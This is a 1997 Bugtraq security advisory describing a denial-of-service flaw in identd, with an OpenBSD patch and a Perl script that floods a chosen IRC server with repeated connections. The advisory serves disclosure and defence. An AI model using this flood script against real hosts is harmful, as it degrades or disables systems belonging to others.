Partnership income or loss. Treat income or loss from a trade or business carried on by a partnership as the income or loss of the spouse who is the partner. Separate property income. Treat income from the separate property of one spouse as the income of that spouse. Social security benefits. Treat social security and equivalent railroad retirement benefits as the income of the spouse who receives the benefits. Other income. Treat all other community income, such as dividends, interest, rents, royalties, or gains, as provided under your state’s community property law.:
George Sharon $22,000 10,000 1,000 500 $26,500 2,000 500 $34,500
Community Property
If you are married and your domicile (permanent legal home) is in a community property state, special rules determine your income. Some of these rules are explained in the following discussions. For more information, get Publication 555, Federal Tax Information on Community Property. Community property states. The following are community property states: Arizona, California, Idaho, Louisiana, Nevada, New Mexico, Texas, Washington, and Wisconsin.
Spouses Living Apart All Year
Special rules apply if all the following conditions exist. 1) You and your spouse live apart all year. 2) You and your spouse do not file a joint return for a tax year beginning or ending in the calendar year. 3) You or your spouse has earned income for the calendar year that is community income. 4) You and your spouse have not transferred, directly or indirectly, any of the earned income in (3) between yourselves before the end of the year. Do not take into account transfers satisfying child support obligations or transfers of very small amounts or value. If all of these conditions exist, you and your spouse must report your community income as explained in the following discussions. Earned income. Treat earned income that is not trade or business or partnership income as the income of the spouse who performed the services to earn the income. Earned income is wages, salaries, professional fees, and other compensation for personal services. Earned income does not include amounts paid by a corporation that are a distribution of earnings and profits rather than a reasonable allowance for personal services rendered. Trade or business income. Treat income and related deductions from a trade or business that is not a partnership as those of the spouse carrying on the trade or business. If capital investment and personal services both produce business income, treat all of the income as trade or business income.
Wages . . . . . . . . . . . . . . . . . . . . . . . . . Consulting business . . . . . . . . . . . Partnership . . . . . . . . . . . . . . . . . . . . Dividends from separate property . . . . . . . . . . . . . . . . . . . . . Interest from community property . . . . . . . . . . . . . . . . . . . . . Totals
$20,000 5,000
Community Income your spouse must report the other half. Each of you can claim credit for half the income tax withheld from community income. Community property laws disregarded. Community property laws will not apply to an item of community income, and you will be responsible for reporting it, if: 1) You treat the item as if only you are entitled to the income, and
Under the community property law of their state, all the income is considered community income. (Some states treat income from separate property as separate income—check your state law.) Sharon did not take part in George’s consulting business. Ordinarily, they would each report $30,500, half the total community income, on their separate returns. But because they meet the four conditions listed at the beginning of this discussion,.
Ending the Community
When the marital community ends, the community assets (money and property) are divided between the spouses. Income received before the community ended is treated according to the rules explained earlier. Income received after the community ended is separate income, taxable only to the spouse to whom it belongs. An absolute decree of divorce or annulment ends the community in all community property states. A decree of annulment, even
Page 15
though it holds that no valid marriage ever existed, usually does not nullify community property rights arising during the ‘‘marriage.’’ However, you should check your state law for exceptions. A decree of legal separation or of separate maintenance may or may not end the community. The court issuing the decree may terminate the community and divide the property between the spouses. A separation agreement may divide the community property between you and your spouse. It may provide that this property, along with future earnings and property acquired, will be separate property. Such an agreement may end the community. In some states, the community ends when the spouses permanently separate, even if
there is no formal agreement. Check your state law.
Alimony (Community Income)
Payments that may otherwise qualify as alimony are not deductible by the payer if they are the recipient spouse’s part of community income. They are deductible as alimony only to the extent they are more than that spouse’s part of community income.
rules explained earlier on line 11 of Form 1040. You can deduct $2,000 as alimony paid on line 29 of Form 1040.
Example. You live in a community property state. You are separated but the special
Table 2. Worksheet for Recapture of Alimony
Note: Do not enter less than zero on any line. 1. Alimony paid in 2nd year ................................................................. 2. Alimony paid in 3rd year .......................................... 3. Floor ................................................................. $15 ................................................................. $15,000.
*
Page 16
Index
Page 17 | https://www.scribd.com/document/545405/US-Internal-Revenue-Service-p504-1995 | CC-MAIN-2018-30 | refinedweb | 14,193 | 61.06 |
JScript Web Resources are probably the most important type of web resources that you will be using with Microsoft Dynamics CRM.
Form Event Programming is used to handle client-side behaviors such as what happens when a user opens a form, changes some data, moves through tabs, etc. To achieve such client-side interactions you will be writing JavaScript code and adding it as a JScript Web Resource in CRM. However, the JavaScript code which you will write has to use Dynamic CRM’s Xrm.Page model and not the standard JavaScript DOM. Using Xrm.Page model is Microsoft’s way of coding which ensures that any code you write using this model will be compatible with any future versions of CRM.
In addition to being used in Form Event Programming, JavaScript is used in other applications of CRM such as −
Open Forms, Views and Dialogs with a unique URL.
Using OData and SOAP endpoints to interact with web services.
Referencing JavaScript code inside other Web Resources (such as HTML web resources).
In such cases, you would write your JavaScript code (using Xrm.Page model) and add it as a JScript Web Resource in CRM, which can then be referenced anywhere with a unique URI.
Finally, one of the other common use of JavaScript is to handle ribbon customizations such as −
To handle such scenarios, you will write your JavaScript logic (using Xrm.Page model) and then add it as a JScript Web Resource. This Web Resource can then be referenced in the ribbon button’s XML and we can specify which method in which JScript file to call to check if a ribbon button should be displayed/hidden or enabled/disabled or handle click events.
Following is the Xrm.Page object’s hierarchy showing the available namespaces, objects, and their collections. You will be using these properties while writing JScript code.
The Form Programming using Xrm.Page model allows you to handle the following form events −
In this example, we will put some validations on the Contact form based on the PreferredMethodofCommunication that the user selects. Hence, if the user selects his/her preferred method as Email, then the Email field should become mandatory and similarly for other fields of Phone and Fax.
Step 1 − Create a JavaScript file named contacts.js and copy the following code.
function validatePreferredMethodOfCommunication() { //get the value of Preffered Method of Communication code var prefferedContactMethodCode = Xrm.Page.getAttribute('preferredcontactmetho dcode').getValue(); //if Preferred Method = Any, make all fields as non-mandatory //else if Preferred Method = Phone, make Mobile Phone field mandatory //and all other fields as non-mandatory //else if Preferred Method = Fax, make Fax field mandatory //and all other fields as non-mandatory if(prefferedContactMethodCode == 1) { clearAllMandatoryFields(); } if(prefferedContactMethodCode == 2) { clearAllMandatoryFields(); Xrm.Page.getAttribute('emailaddress1').setRequiredLevel('required'); } else if(prefferedContactMethodCode == 3) { clearAllMandatoryFields(); Xrm.Page.getAttribute('mobilephone').setRequiredLevel('required'); } else if(prefferedContactMethodCode == 4) { clearAllMandatoryFields(); Xrm.Page.getAttribute('fax').setRequiredLevel('required'); } } function clearAllMandatoryFields() { //clear all mandatory fields Xrm.Page.getAttribute('emailaddress1').setRequiredLevel('none'); Xrm.Page.getAttribute('mobilephone').setRequiredLevel('none'); Xrm.Page.getAttribute('fax').setRequiredLevel('none'); }
Step 2 − Open the Contact entity form by navigating to Settings → Customizations → Customize the System → Contact entity → Forms → Main Form.
Step 3 − Click Form Properties.
Step 4 − From the Form Properties window, click Add.
Step 5 − In the next Look Up Web Resource Record window, click New since we are creating a new web resource.
Step 6 − In the New Web Resource window, enter the following details −
Name − new_contacts.js
Display Name − contacts.js
Type − JScript
Upload File − Upload the JavaScript file that you created from your local machine.
Step 7 − Click Save followed by Publish. After this close the window and you will be back to Look Up Web Resource Record window.
Step 8 − Here, you can now see the new_contacts.js web resource. Select it and click Add. You have now successfully added a new web resource and registered it on the form.
Step 9 − Now we will add an event handler on the change of Preferred Method of Communication field. This event handler will call the JavaScript function that we just wrote. Select the following options from the Event Handler section.
Control − Preferred Method of Communication
Event − OnChange
Then, click the Add button, as shown in the following screenshot.
Step 10 − In the next window of Handler Properties, we will specify the method to be called when the change event occurs.
Select Library as new_contacts.js and Function as validatePreferredMethodOfCommunication. Click OK.
Step 11 − You will now be able to see the Form Library (Web Resource) and events registered on it. Click OK.
Step 12 − Click Save followed by Publish.
Step 13 − Now open any Contact form and set the Preferred Method of Communication as Phone. This will make the Mobile Phone field as mandatory. If you now try to save this contact without entering any mobile number, it will give you an error saying ‘You must provide a value for Mobile Phone’.
In this chapter, we started by understanding the three important applications of JavaScript in CRM. Later, we explored the Xrm.Page model and used it to learn Form programming along with an example. | https://www.tutorialspoint.com/microsoft_crm/microsoft_crm_jscript_web_resources.htm | CC-MAIN-2020-29 | refinedweb | 859 | 56.76 |
Handles low level communication with "the other side". More...
#include <transceiver.hpp>
Handles low level communication with "the other side".
This class handles the sending/receiving/buffering of data through the OS level sockets and also the creation/destruction of the sockets themselves.
Definition at line 79 of file transceiver.hpp.
Constructor.
Construct a transceiver object based on an initial file descriptor to listen on and a function to pass messages on to.
Definition at line 195 of file transceiver.cpp.
References pollFds, socket, wakeUpFdIn, and wakeUpFdOut.
Free fd/pipe and all it's associated resources.
By calling this function you close the passed file descriptor and free up it's associated buffers and resources. It is safe to call this function at any time with any fd(even bad ones). If requests still exists with this fd then they will be lost.
Definition at line 316 of file transceiver.cpp.
Referenced by transmit().
General transceiver handler.
This function is called by Manager::handler() to both transmit data passed to it from requests and relay received data back to them as a Message. The function will return true if there is nothing at all for it to do.
Definition at line 64 of file transceiver.cpp.
References Fastcgipp::reventsZero(), Fastcgipp::Message::size, and Fastcgipp::Message::type.
Direct interface to Buffer::requestWrite()
Definition at line 93 of file transceiver.hpp.
References buffer, and Fastcgipp::Transceiver::Buffer::requestWrite().
Direct interface to Buffer::secureWrite()
Definition at line 95 of file transceiver.hpp.
References buffer, Fastcgipp::Transceiver::Buffer::secureWrite(), and transmit().
Blocks until there is data to receive or a call to wake() is made.
Definition at line 106 of file transceiver.hpp.
Transmit all buffered data possible.
Definition at line 24 of file transceiver.cpp.
References buffer, Fastcgipp::Transceiver::Buffer::empty(), freeFd(), Fastcgipp::Transceiver::Buffer::freeRead(), and Fastcgipp::Transceiver::Buffer::requestRead().
Referenced by secureWrite().
Forces a wakeup from a call to sleep()
Definition at line 189 of file transceiver.cpp.
Buffer for transmitting data
Definition at line 258 of file transceiver.hpp.
Referenced by requestWrite(), secureWrite(), and transmit().
Container associating file descriptors with their receive buffers.
Definition at line 272 of file transceiver.hpp.
poll() file descriptors container
Definition at line 263 of file transceiver.hpp.
Referenced by freeFd(), sleep(), and Transceiver().
Function to call to pass messages to requests.
Definition at line 260 of file transceiver.hpp.
Socket to listen for connections on.
Definition at line 265 of file transceiver.hpp.
Referenced by Transceiver().
Input file descriptor to the wakeup socket pair.
Definition at line 267 of file transceiver.hpp.
Referenced by Transceiver().
Output file descriptor to the wakeup socket pair.
Definition at line 269 of file transceiver.hpp.
Referenced by Transceiver(). | http://www.nongnu.org/fastcgipp/doc/2.1/a00083.html | CC-MAIN-2021-10 | refinedweb | 450 | 54.08 |
Having used MongoDb almost exclusively with the NoRM C# driver for several months
now, this is something that I have always wanted to do, just to satisfy my own
curiosity.
Michael Kennedy did a speed test like this but he used LINQ to SQL for the SQL Server
side, which to me is not quite as accurate as comparing "raw" to "raw"
performance. So I set up my own simple tests performing 1,000 inserts , 1,000
Selects, and 1,000 updates on both a SQL Server database and a MongoDb database.
LINQ to SQL and Entity Framework are not exactly speed champions, so by keeping
them out of the equation I believe we can get better data.
The object used was a simple Customer class that holds a nested List<Address>
property. Of course with MongoDb, you can persist the entire object as is and
the BSON serializer takes care of it; with SQL Server this requires a two-table
arrangement and SQL joins. I used stored procedures throughout on the SQL Server
side, and an array of pregenerated Guids for the primary keys in both cases.
Have a look at the results first, and then I'll get into the implementation details:
MongoDb / NoRM vs SQL Server Speed Tests
(3 test runs for each operation)
1000 INSERTS: Times in Milliseconds
Sql Server MongoDb
1217.00 203.00
1049.00 200.00
1080.00 207.00
AVERAGES 1115.33 203.33 5.49 Times Faster
1000 SELECTS by ID:
Sql Server MongoDb
832.00 1947.00
850.00 2028.00
855.00 2033.00
AVERAGES: 845.67 2002.67 0 .42 Times Faster
1000 Updates:
Sql Server MongoDb
1493.00 194.00
1355.00 186.00
1716.00 187.00
AVERAGES: 1521.33 189.00 8.05 Times Faster
That's right - in my tests, MongoDb was 5.49 times faster than SQL Server for inserts,
about half as fast on selects and about 8 times faster on updates. Now, being
a long time SQL Server guy, I am not about to give up my relational databases
any time soon. However, there are indeed a number of situations where MongoDb
(which is free, as in beer) is a good choice. Even if you are already using SQL
Server on your web site for example, it could be a wise decision to lighten the
load by having certain operations done under MongoDb.
NOTE: Thanks to an expert comment by a reader below, I redid my tests as I had left
the WHERE clause out of the select stored proc.
But when I switched the selects to a WHERE based on LastName, with appropriate indexes
on both SQL Server and MongoDb, MongoDb was then 1.29 times faster than SQL Server
on selects. I do not know if this is because MongoDb doesn't handle indexing
GUIDs well, or some other reason. It is a known fact that UNIQUIDENTIFIER primary
keys in SQL Server slow down the works - a Guid is 16 bytes, whereas int is 4
bytes wide and bigint is 8 bytes. However, an informal poll of developers reveals that people are using Guid primary keys with SQL Server by a factor of 4
to 1, so I believe this is a "real world" test scenario.
I have already run MongoDb with the NoRM driver and MonoDevelop with an ASP.NET project
on Ubuntu Linux - with almost no changes - so it's a very flexible arrangement.
Here is the model that I used:
public class Customer
{
[MongoIdentifier]
public Guid _Id { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
public DateTime EntryDate { get; set; }
public string Email { get; set; }
public List<Address> Addresses { get; set; }
}
public class Address
{
public Guid CustomerId { get; set; }
public string Address1 { get; set; }
public string City { get; set; }
public string State { get; set; }
public string Zipcode { get; set; }
}
So for SQL Server, we need two tables - a Customer and an Address table. I also have
an Operations class that defines all the basic operations needed for the tests:
Then finally I have the main Program.cs class that does everything in order, including
cleanup of each database:
static void Main(string[] args)
{
Operations op9 = new Operations();
int mongoCount1 = op9.GetCustomerCountMongo();
int sqlCount1 = op9.GetCustomerCountSQL();
Console.WriteLine("There are " + sqlCount1.ToString() + " Sql rows and " + mongoCount1.ToString() + " mongodb documents.");
//Cleanup
op9.TruncateSqlTables();
op9.DropMongoCustomerCollection();
Guid[] gooids = op9.CreateGuidArray();
Stopwatch sw = new Stopwatch();
sw.Start();
//Sql Server Inserts
Operations op = new Operations();
for (int i = 0; i < 1000; i++)
{
string inc = i.ToString();
Customer c = op.CreateCustomer("Joe", "Blow" + inc, DateTime.Now, "Joe@blow.com", "123 High St #" + inc,
"Orlando", "FL", "32801", gooids[i]);
Guid j= op.InsertCustomerSql(c);
}
sw.Stop();
Console.WriteLine("SQL: " + sw.ElapsedMilliseconds.ToString());
sw.Reset();
Operations op2 = new Operations();
op2.CreateMongoDbIndex();
sw.Start();
//MongoDb Inserts
for (int i = 0; i < 1000; i++)
{
string inc = i.ToString();
Customer c = op2.CreateCustomer("Joe", "Blow" + inc, DateTime.Now, "Joe@blow.com", "123 High St #" + inc,
"Orlando", "FL", "32801", gooids[i] );
Guid j= op2.InsertCustomerMongoDb(c);
}
sw.Stop();
Console.Write("MongoDb: " + sw.ElapsedMilliseconds.ToString());
Console.WriteLine("");
sw.Reset();
sw.Start();
//SQL Server selects
Operations op3 = new Operations();
for (int i = 0; i < 1000; i++)
{
Customer c = op3.GetCustomerSql(gooids[i]);
}
sw.Stop();
Console.WriteLine("Get Customer SQL: " + sw.ElapsedMilliseconds.ToString( ));
sw.Reset();
sw.Start();
//MongoDb Selects
Operations op4 = new Operations();
for (int i = 0; i < 1000; i++)
{
Customer c = op4.GetCustomerMongoDb(gooids[i]);
}
sw.Stop();
Console.WriteLine("Get Customer MongoDb: " + sw.ElapsedMilliseconds.ToString( ));
sw.Reset();
sw.Start();
//SQL Server Updates
Operations op5 = new Operations();
for (int i = 0; i < 1000; i++)
{
string inc = i.ToString();
Customer c = op5.CreateCustomer("Joe", "Blow" + inc, DateTime.Now, "Joe@blow.com", "123 High St #" + inc,
"Orlando", "FL", "32801", gooids[i]);
op5.UpdateCustomerSql(c);
}
sw.Stop();
Console.WriteLine("SQL Updates: " + sw.ElapsedMilliseconds.ToString());
sw.Reset();
sw.Start();
//MongoDb Updates
Operations op6 = new Operations();
for (int i = 0; i < 1000; i++)
{
string inc = i.ToString();
Customer c = op6.CreateCustomer("Joe", "Blow" + inc, DateTime.Now, "Joe@blow.com", "123 High St #" + inc,
"Orlando", "FL", "32801", gooids[i]);
op6.UpdateCustomerMongoDb(c);
}
sw.Stop();
Console.Write("MongoDb Updates: " + sw.ElapsedMilliseconds.ToString());
Console.WriteLine("");
int mongoCount = op.GetCustomerCountMongo();
int sqlCount = op.GetCustomerCountSQL();
Console.WriteLine("There are " +sqlCount.ToString( ) + " Sql rows and " +mongoCount.ToString( ) + " mongodb documents.");
Console.WriteLine("Done. Any key to quit.");
Console.ReadLine();
}
NOTE: In response to some comments below, I redid all the tests using an integer
primary key on both the MongoDb and the SQL Server tables. All stored procs,
indexes to match, and code was updated to enable this change. Here are the results:
MongoDb / NoRM vs SQL Server Speed Tests - Integer Keys
(3 test runs for each operation)
1000 INSERTS: Times in Milliseconds
Sql Server MongoDb
882.00 203.00
1216.00 242.00
938.00 209.00
AVERAGES 1012.00 218.00 4.64 Times Faster
1000 SELECTS by Integer ID:
Sql Server MongoDb
819.00 1372.00
940.00 1342.00
868.00 1327.00
AVERAGES: 875.67 1347 .65 Times Faster
1000 Updates:
Sql Server MongoDb
1377.00 183.00
1565.00 248.00
1398.00 191.00
AVERAGES: 1446.67 207.33 6.98 Times Faster
As can be seen, MongoDb handled inserts nearly 5 times faster, Selects only about
65% as fast, and updates almost 7 times faster than SQL Server. When I changed the Selects to a Where clause of "LastName" MongoDb performance increased to 91% of SQL Server performance. Both databases had the LastName field indexed.
In all cases, I only added one Address to each Customer in order to keep things simpler
on the SQL Server side.
You can download the sample test app source code, which includes a SQL Script to set up the SQL Server database here. The script assumes you have a folder C:\databases where the files will be created.
Conclusion: With the exception of some issues around indexing Guids and selects, MongoDb with
the NoRM driver is a real speed champion over SQL Server for basic inserts, selects
and updates.
When you run this (with whatever changes suit your needs) I recommend that you do
a Release Build and run it outside of the Visual Studio hosting environment to
get "clean" statistics. NOTE: I have made one minor change to the NoRM
library: GetCollectionName was changed to public to allow it to be called from
outside the NoRM library.
Of course you'll need a handy SQL Server instance (SQLExpress will do) as well as
a fully installed instance of MongoDb. For instructions on installing MongoDB
and NoRM, see this article. | http://www.nullskull.com/a/1498/mongodb-vs-sql-server-basic-speed-tests.aspx | CC-MAIN-2013-20 | refinedweb | 1,435 | 64.51 |
Unit Tests
There are many schools of thought on how, what, and when to test. This is a very sensitive subject for many people. As such, I will simply give an overview of the basic tools available for testing and leave it up to you to decide how and when to use them.
The Test API
Clojure provides built-in support for testing via the clojure.test namespace. When a new project is created, a test package is generated along with it.
Let’s take a quick look at what the clojure.test API looks like and how to work with it. The simplest way to write tests is to create assertions using the is macro. The following are a few examples of how it works:
Get Web Development with Clojure, 2nd Edition now with O’Reilly online learning.
O’Reilly members experience live online training, plus books, videos, and digital content from 200+ publishers. | https://www.oreilly.com/library/view/web-development-with/9781680502152/f_0059.xhtml | CC-MAIN-2020-10 | refinedweb | 155 | 73.27 |
What’s the difference between
addEventListener and
onclick?
var h = document.getElementById("a"); h.onclick = dothing1; h.addEventListener("click", dothing2);
The code above resides together in a separate
.js file, and they both work perfectly.
0
Both are correct, but none of them are “best” per se, and there may be a reason the developer chose to use both approaches.
Event Listeners (addEventListener and IE’s attachEvent)
Earlier versions of Internet Explorer implement JavaScript differently from pretty much every other browser. With versions less than 9, you use the
attachEvent[doc] method, like this:
element.attachEvent('onclick', function() { /* do stuff here*/ });
In most other browsers (including IE 9 and above), you use
addEventListener[doc], like this:
element.addEventListener('click', function() { /* do stuff here*/ }, false);
Using this approach (DOM Level 2 events), you can attach a theoretically unlimited number of events to any single element. The only practical limitation is client-side memory and other performance concerns, which are different for each browser.
The examples above represent using an anonymous function[doc]. You can also add an event listener using a function reference[doc] or a closure[doc]:
var myFunctionReference = function() { /* do stuff here*/ } element.attachEvent('onclick', myFunctionReference); element.addEventListener('click', myFunctionReference , false);
Another important feature of
addEventListener is the final parameter, which controls how the listener reacts to bubbling events[doc]. I’ve been passing false in the examples, which is standard for probably 95% of use cases. There is no equivalent argument for
attachEvent, or when using inline events.
Inline events (HTML onclick=”” property and element.onclick)
In all browsers that support javascript, you can put an event listener inline, meaning right in the HTML code. You’ve probably seen this:
<a id="testing" href="#" onclick="alert('did stuff inline');">Click me</a>
Most experienced developers shun this method, but it does get the job done; it is simple and direct. You may not use closures or anonymous functions here (though the handler itself is an anonymous function of sorts), and your control of scope is limited.
The other method you mention:
element.onclick = function () { /*do stuff here */ };
… is the equivalent of inline javascript except that you have more control of the scope (since you’re writing a script rather than HTML) and can use anonymous functions, function references, and/or closures.
The significant drawback with inline events is that unlike event listeners described above, you may only have one inline event assigned. Inline events are stored as an attribute/property of the element[doc], meaning that it can be overwritten.
Using the example
<a> from the HTML above:
var element = document.getElementById('testing'); element.onclick = function () { alert('did stuff #1'); }; element.onclick = function () { alert('did stuff #2'); };
… when you clicked the element, you’d only see “Did stuff #2” – you overwrote the first assigned of the
onclick property with the second value, and you overwrote the original inline HTML
onclick property too. Check it out here:.
Broadly speaking, do not use inline events. There may be specific use cases for it, but if you are not 100% sure you have that use case, then you do not and should not use inline events.
Modern Javascript (Angular and the like)
Since this answer was originally posted, javascript frameworks like Angular have become far more popular. You will see code like this in an Angular template:
<button (click)="doSomething()">Do Something</button>
This looks like an inline event, but it isn’t. This type of template will be transpiled into more complex code which uses event listeners behind the scenes. Everything I’ve written about events here still applies, but you are removed from the nitty gritty by at least one layer. You should understand the nuts and bolts, but if your modern JS framework best practices involve writing this kind of code in a template, don’t feel like you’re using an inline event — you aren’t.
Which is Best?
The question is a matter of browser compatibility and necessity. Do you need to attach more than one event to an element? Will you in the future? Odds are, you will. attachEvent and addEventListener are necessary. If not, an inline event may seem like they’d do the trick, but you’re much better served preparing for a future that, though it may seem unlikely, is predictable at least. There is a chance you’ll have to move to JS-based event listeners, so you may as well just start there. Don’t use inline events.
jQuery and other javascript frameworks encapsulate the different browser implementations of DOM level 2 events in generic models so you can write cross-browser compliant code without having to worry about IE’s history as a rebel. Same code with jQuery, all cross-browser and ready to rock:
$(element).on('click', function () { /* do stuff */ });
Don’t run out and get a framework just for this one thing, though. You can easily roll your own little utility to take care of the older browsers:
function addEvent(element, evnt, funct){ if (element.attachEvent) return element.attachEvent('on'+evnt, funct); else return element.addEventListener(evnt, funct, false); } // example addEvent( document.getElementById('myElement'), 'click', function () { alert('hi!'); } );
Try it:
Taking all of that into consideration, unless the script you’re looking at took the browser differences into account some other way (in code not shown in your question), the part using
addEventListener would not work in IE versions less than 9.
Documentation and Related Reading
19
- 15
sorry to bump but just wanted to give a condensed version of your function (fiddle: jsfiddle.net/bmArj/153) –
function addEvent(element, myEvent, fnc) { return ((element.attachEvent) ? element.attachEvent('on' + myEvent, fnc) : element.addEventListener(myEvent, fnc, false)); }
Nov 5, 2013 at 0:25
- 10
@Gaurav_soni No. The name of the function and all the code it contains are already exposed in the javascript file, which is in plaintext. Anyone can open a web console and execute or manipulate any javascript. If your javascript contains anything that could be a security risk if it is exposed to the public, then you’ve got a major problem because it is already exposed to the public.
Sep 18, 2015 at 5:21
- 4
- 5
@Trevor Out of curiosity, why !!0? Why not !1 or just 0?
Dec 3, 2016 at 4:32
- 4
@AdrianMoisa This answer was written at a time when AngularJS was a new thing on the rise, and the common practice was still “progressive enhancement” — that is, writing an HTML document in a way that would work with or without javascript. In that perspective, binding events from javascript would be best practice. Nowadays, I don’t think many people worry too much about progressive enhancement, especially not considering the prevalence of stuff like Angular. There’s still some separation of concerns arguments about inline events (not using Angular), but that’s more style than substance.
Oct 23, 2017 at 19:13
The difference you could see if you had another couple of functions:
var h = document.getElementById('a'); h.onclick = doThing_1; h.onclick = doThing_2; h.addEventListener('click', doThing_3); h.addEventListener('click', doThing_4);
Functions 2, 3 and 4 work, but 1 does not. This is because
addEventListener does not overwrite existing event handlers, whereas
onclick overrides any existing
onclick = fn event handlers.
The other significant difference, of course, is that
onclick will always work, whereas
addEventListener does not work in Internet Explorer before version 9. You can use the analogous
attachEvent (which has slightly different syntax) in IE <9.
13
- 27
That’s a very clear explanation! Right to the point. So if I need multiple functions for one event, I am stuck with addEventListener, and I have to write more code for attachEvent just to accomodate IE.
Jun 14, 2011 at 18:58
- 6
2, 3, and 4 should be named dosomething. 1 gets overridden by 2 and is never called.
Jan 7, 2013 at 22:12
- 1
@Ludolfyn I want to be clear on that — if the inline event is defined in the HTML, it is cleaned up when the HTML leaves the browser view, in most cases. If you are doing it in code
element.onclick = myFunction, THAT will not be cleaned up when the HTML is not displayed, in fact, you can attach events to elements that are never added to DOM (so they are “part” of the page). In many instances, if you attach an event like that it can leave an open reference, so it won’t be cleaned up by GC.
Nov 24, 2020 at 1:35
- 1
Events added with addEventListener can, in some circumstances, also need to be cleaned up.
Nov 24, 2020 at 1:36
- 1
Thanks so much @ChrisBaker! I’m still working on the app where this is relevant, so this is very helpful. I’m dynamically generating and removing elements in and out of the DOM, so I’ve chosen to followed React’s recipe in adding one
addEventListener()to the
<html>element and then just checking the
event.targetproperty to listen for clicks on specific elements. This way I don’t have to worry about polluting the memory heap with rogue event listeners. It used to be inline (defined in the HTML) and even though it gets removed with the element, it still took up space in memory… right?
Nov 24, 2020 at 8:55
In this answer I will describe the three methods of defining DOM event handlers.
element.addEventListener()
Code example:
const element = document.querySelector('a'); element.addEventListener('click', event => event.preventDefault(), true);
<a href="">Try clicking this link.</a>
element.addEventListener() has multiple advantages:
- Allows you to register unlimited events handlers and remove them with
element.removeEventListener().
- Has
useCaptureparameter, which indicates whether you’d like to handle event in its capturing or bubbling phase. See: Unable to understand useCapture attribute in addEventListener.
- Cares about semantics. Basically, it makes registering event handlers more explicit. For a beginner, a function call makes it obvious that something happens, whereas assigning event to some property of DOM element is at least not intuitive.
- Allows you to separate document structure (HTML) and logic (JavaScript). In tiny web applications it may not seem to matter, but it does matter with any bigger project. It’s way much easier to maintain a project which separates structure and logic than a project which doesn’t.
- Eliminates confusion with correct event names. Due to using inline event listeners or assigning event listeners to
.oneventproperties of DOM elements, lots of inexperienced JavaScript programmers thinks that the event name is for example
onclickor
onload.
onis not a part of event name. Correct event names are
clickand
load, and that’s how event names are passed to
.addEventListener().
- Works in almost all browser. If you still have to support IE <= 8, you can use a polyfill from MDN.
element.onevent = function() {} (e.g.
onclick,
onload)
Code example:
const element = document.querySelector('a'); element.onclick = event => event.preventDefault();
<a href="">Try clicking this link.</a>
This was a way to register event handlers in DOM 0. It’s now discouraged, because it:
- Allows you to register only one event handler. Also removing the assigned handler is not intuitive, because to remove event handler assigned using this method, you have to revert
oneventproperty back to its initial state (i.e.
null).
- Doesn’t respond to errors appropriately. For example, if you by mistake assign a string to
window.onload, for example:
window.onload = "test";, it won’t throw any errors. Your code wouldn’t work and it would be really hard to find out why.
.addEventListener()however, would throw error (at least in Firefox): TypeError: Argument 2 of EventTarget.addEventListener is not an object.
- Doesn’t provide a way to choose if you want to handle event in its capturing or bubbling phase.
Inline event handlers (
onevent HTML attribute)
Code example:
<a href="" onclick="event.preventDefault();">Try clicking this link.</a>
Similarly to
element.onevent, it’s now discouraged. Besides the issues that
element.onevent has, it:
- Is a potential security issue, because it makes XSS much more harmful. Nowadays websites should send proper
Content-Security-PolicyHTTP header to block inline scripts and allow external scripts only from trusted domains. See How does Content Security Policy work?
- Doesn’t separate document structure and logic.
- If you generate your page with a server-side script, and for example you generate a hundred links, each with the same inline event handler, your code would be much longer than if the event handler was defined only once. That means the client would have to download more content, and in result your website would be slower.
See also
0
| | https://coded3.com/addeventlistener-vs-onclick/ | CC-MAIN-2022-40 | refinedweb | 2,108 | 57.16 |
cpio.08.97-08-03.dos_identd
a8a6a0f0da8c7d6f70b115f1e05a4fb0
From releases@CORINNE.MAC.EDU Sun Aug 10 01:41:55 1997
Date: Mon, 4 Aug 1997 09:19:54 -0500
From: Corinne Posse Releases <releases@CORINNE.MAC.EDU>
To: BUGTRAQ@NETSPACE.ORG
Subject: CPSR #8: identd Denial of Service
************** Corinne Posse Security Notice **************
Issue Number 8: 970803
************** **************
**** Denial of Service care of identd ****
A massive amount of authorization requests to identd (pidentd and others)
can cause system load to skyrocket, making the system unusable.
Affected Sites:
FreeBSD, NetBSD, Linux, SCO, Solaris, IRIX, and OpenBSD prior to 8/1/97.
ANY system running pidentd.
Problem:
A massive amount of ident requests causes the identd daemon to "spin"
because the daemon does not correctly close the socket from the host
that issues a request. This is due to a poorly implemented incantation
of wait(). The improper code perpetuates the identd process and allows
the process to hang, slowing system performance considerably. On average,
2-3 spinning processes slow the system noticeably-- 10-15 make the system
unusable. Bear in mind that this is all based on the speed of the system
and the above numbers hold true for machines like a p5/100 with 32M of RAM.
Simply "kill -9 (ident's PIDs)" fixes the problem if it occurs.
Fix:
Thanks to Theo de Raadt of the OpenBSD project, we are proud to announce
that OpenBSD has fixed this problem, and that the following patches
are available. OpenBSD uses a modified version of pidentd.
Index: libexec/identd/identd.c
===================================================================
RCS file: /cvs/src/libexec/identd/identd.c,v
retrieving revision 1.4
retrieving revision 1.5
diff -r1.4 -r1.5
2c2
< ** $Id: identd.c,v 1.4 1997/07/23 20:36:27 kstailey Exp $
---
> ** $Id: identd.c,v 1.5 1997/07/29 07:49:31 deraadt Exp $
180a181
> int save_errno = errno;
184a186
> errno = save_errno;
Exploit:
This problem was discovered simultaneously by Jack0 as well as Jonathan
Katz. Jack0 noticed that a user's repeated requests to an IRC server
spawned many identd processes on his local machine, bringing his box to a crawl.
Jon noticed that after someone sent email to the various mailing lists he
runs, the many hosts receiving the mail would make ident requests and
leave his system paralyzed. To see if your system is vulnerable, Jack0
has come up with a PERL script that repeatedly tries to connect to an
IRC server. With a little tinkering, the script can be used to adapt to
a variety of different services if you want or need to test other services.
#!/usr/bin/perl
# Ident abuse script which can be used to test for the identd vulnerability
# on the local system.
# jack0@cpio.org for questions
#include <Socket.pm>
use Socket;
my($h,$p,$in_addr,$proto,$addr);
$h = "$ARGV[0]";
$p = 6667 if (!$ARGV[1]);
if (!$h) {
print "Host name most be specified i.e.,; some.server.net\n";
}
$in_addr = (gethostbyname($h))[4];
$addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
&connect;
sub connect {
print "Connection in progress:\n";
socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;
connect(S,$addr) or die $!;
select S;
$| = 1;
print "QUIT\n";
select STDOUT;
close S;
&connect;
}
Concept by: Jack0 (jack0@cpio.org) and Jonathan Katz (jkatz@cpio.org)
